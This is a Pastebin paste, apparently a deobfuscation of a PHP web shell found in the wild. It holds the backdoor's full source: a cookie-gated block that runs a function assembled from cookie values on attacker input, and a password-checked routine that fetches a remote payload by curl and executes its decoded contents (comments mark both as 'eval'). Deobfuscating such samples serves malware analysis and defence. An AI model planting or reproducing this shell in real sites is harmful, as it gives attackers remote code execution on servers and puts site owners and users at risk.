anton_slim

PHP Shell deobfusacted

Mar 3rd, 2023
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.97 KB | None | 0 0
  1. <?php
  2. if (in_array(gettype($_COOKIE) . count($_COOKIE), $_COOKIE)
  3.     && count($_COOKIE) == 25
  4.     && $_COOKIE[67] = $_COOKIE[67] . $_COOKIE[80]
  5.     && $_COOKIE[90] = $_COOKIE[67]($_COOKIE[90])
  6.  
  7. ) {
  8.     echo($_COOKIE[67](${$_COOKIE[38]}[29])); // eval
  9. }
  10.  
  11. class shell
  12. {
  13.     static function curl($url)
  14.     {
  15.         $ch = curl_init($url);
  16.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  17.         $response = curl_exec($ch);
  18.         return empty ($response) ? file_get_contents($url) : $response;
  19.     }
  20.  
  21.     static function exec()
  22.     {
  23.         $r = str_rot13($_GET['ARRAY']);
  24.         $s = @pack('H*', $r);
  25.         $t = json_decode($s, true);
  26.         if (@$_GET['of'] == 1) die;
  27.  
  28.         (file_get_contents(__FILE__));
  29.         if (((@$t[0] - time()) > 0) and (md5(md5($t[2])) === "cb508614978e98198cb3d9c89d0fc47f")) {
  30.             $u = self::curl($t[1]);
  31.             echo(base64_decode($u)); // eval
  32.             die;
  33.         }
  34.     }
  35. }
  36.  
  37. shell::exec();
  38.  
  39.  
Add Comment
Please, Sign In to add comment